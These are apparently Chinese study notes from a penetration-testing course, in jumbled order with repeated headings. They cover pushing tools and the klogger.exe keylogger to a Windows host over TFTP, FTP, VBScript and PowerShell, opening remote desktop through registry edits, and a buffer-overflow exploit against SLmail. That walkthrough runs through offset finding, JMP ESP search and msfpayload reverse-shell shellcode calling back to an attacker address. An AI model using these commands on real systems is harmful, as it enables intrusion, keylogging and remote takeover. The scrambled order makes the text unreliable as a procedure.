使用合法的远程控制软件 ——nc
使用合法的远程控制软件 ——nc
dpkg --add-architecture i386 && apt-get update && apt-get install wine32
——安装i386的wine32
i586-mingw32msvc-gcc 646.c -lws2_32 -o sl.exe
——Linux下用gcc编译windowsC程序
vbscript
service apache2 start #开启apache
cd /var/www/html/
cp 路径+whoami.exe .
将命令写入文件
cscript wget.vbs http://ip/whoami.exe w.exe
powershell
powershell.exe -ExecutionPolicy Bypass -NoLogo -Nonlnteractive -NoProfile -File wget.ps1
debug
>汇编,反汇编
>16进制dump工具
>限制64k字节
npx -9 nc.exe #压缩nc文件
wine /usr/share/windows-binaries/exe2bat.exe nc.txt #转换成二进制文件
将nc.txt中的命令(除倒数两行)复制到命令行执行
debug<123.hex #debug进行汇编
copy 1.dll nc.exe
上传工具
TFTP
kali
mkdir /tftp
chown -R nobody /tftp/
cp /usr/share/windows-binaries/whoami.exe /tftp/
cp /usr/share/windows-binaries/klogger.exe /tftp/
atftpd --daemon --port 69 /tftp
netstat -pantu | grep 69
Windows
tftp -i +kali ip get whoami.exe
tftp -i +kali ip get klogger.exe
运行程序
FTP
注意:由于获取的shell是非交互性shell,不能输入密码,故连接FTP是将命令写入文件发送
echo open +kali ip +kali port >ftp.txt
echo ftp用户名>>ftp.txt
echo ftp密码>>ftp.txt
echo bin>>ftp.txt
echo GET whoami.exe>>ftp.txt
echo GET klogger.exe>>ftp.txt
echo bye>>ftp.txt
ftp -s:ftp.txt
后漏洞利用阶段
上传工具
Linux系统
Windows
提权
擦除攻击痕迹
安装后门
后漏洞利用阶段
调试
• edb --run /usr/games/crossfire/bin/crossfire
点击两次run运行程序
唯一字符串识别 EIP 精确位置、
Linux缓冲区溢出
环境准备
将crossfire.tar.gz拷贝到/usr/games下解压
tar zxpf crossfire.tar.gz
调试工具
• edb
本机调试(设置只允许本地访问)
• iptables -A INPUT -p tcp --destination-port 4444 \! -d 127.0.0.1 -j DROP
• iptables -A INPUT -p tcp --destination-port 13327 \! -d 127.0.0.1 -j DROP
先开始监听shellcode中LPORT端口
发送shellcode脚本
通过修改注册表打开服务器的远程桌面服务
echo Windows Registry Editor Version 5.00>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg
echo "fDenyTSConnections"=dword:00000000>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
regedit /s 3389.reg
重启服务器让命令生效
shutdown -r -t 0
kali安装并执行远程桌面服务
apt-get install rdesktop
rdesktop +ip
注意:若连接不上,可能是防火墙阻止
注意:RegSnap软件可以对注册表拍摄快照,通过修改防火墙设置前后的快照比较,可以找出要修改的注册表路径
发送测试数据08.py
断点停止后,按F7
使用msfpayload生成shellcode
cd /usr/share/framework2
./msfpayload -l
注意:现在服务器防火墙通常只允许外部访问特定端口,就算运行脚本开启服务器的其他端口外部也不能访问,故shellcode一般让服务器来主动连接攻击者端口
生成shellcode
./msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 C
在shellcode发现坏字符,通过编码绕过
./msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 R | ./msfencode -b “\x00\x0a\x0d”
将shellcode编入程序
为了避免shellcode前几个字符被擦掉,在shellcode前面插入几个空字符
问题:寄存器地址会变化
方法:
在内存中寻找地址固定的系统模块
寻找JMP ESP指令跳转
调用mona.py文件 打开模块
!mona modules
筛选模块
Rebase:重启后内存地址是否发生变化(这里找False)
RSLR:是否受保护
找符合 前四个False,OS为True 的模块
将(JMP ESP)指令转换为二进制(FFE4)
cd /usr/share/metasploit-framework/tools
./nasm_shell.rb
调用mona.py文件 输入命令
!mona find -s "\xff\e4" -m openc32.dll(模块名称)
若无(JMP ESP)指令,换模块继续查找
若找到,选择一个双击,在数据部分切换成汇编语言格式
点击工具栏“m”打开内存地图
注意,若程序支持DEP,则要挑选Access权限为 “R E”的模块
在(JMP ESP)指令处设置断点
开始运行
fuzzing
将 EIP 修改为shellcode代码的内存地址,将Shellcode写入到该地址空间,程序读取EIP 寄存器 数值,将跳转到 shellcode 代码段并执行;
发送0x00---0xff256个字符,查找坏字符
找到精确溢出的4个字节
cd usr/share/metasploit-framework/tools
./pattern_create.rb 2700
./pattern_offset.rb +EIP
开启邮件服务器(SLmail)
查找可以输入参数的命令
开始测试
打开调试工具(Immunity Debugger)
监听110端口(即邮件服务器SLmail)
启动运行
不停向邮件服务器(SLmail)发送测试数据
查看调试工具(Immunity Debugger)
找到精确溢出的4个字节
DEP:阻止代码从数据页被执行
ASLR:随机内存地址加载执行程序和DLL,每次重启地址变化
如何发现漏洞
源码审计
逆向工程
模糊测试
罪恶的根源:变量
数据与代码边界不清
最简漏洞原理 —— shell脚本漏洞
当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被“撑
暴”,从而覆盖了相邻内存区域的数据;
成功修改内存数据,可造成进程劫持,执行恶意代码,获取服务器控制权等后果
如何发现漏洞
• 源码审计
• 逆向工程
• 模糊测试
• 向程序堆栈半随机的数据,根据内存变化判断溢出
• 数据生成器:生成随机、半随机数据
• 测试工具:识别溢出漏洞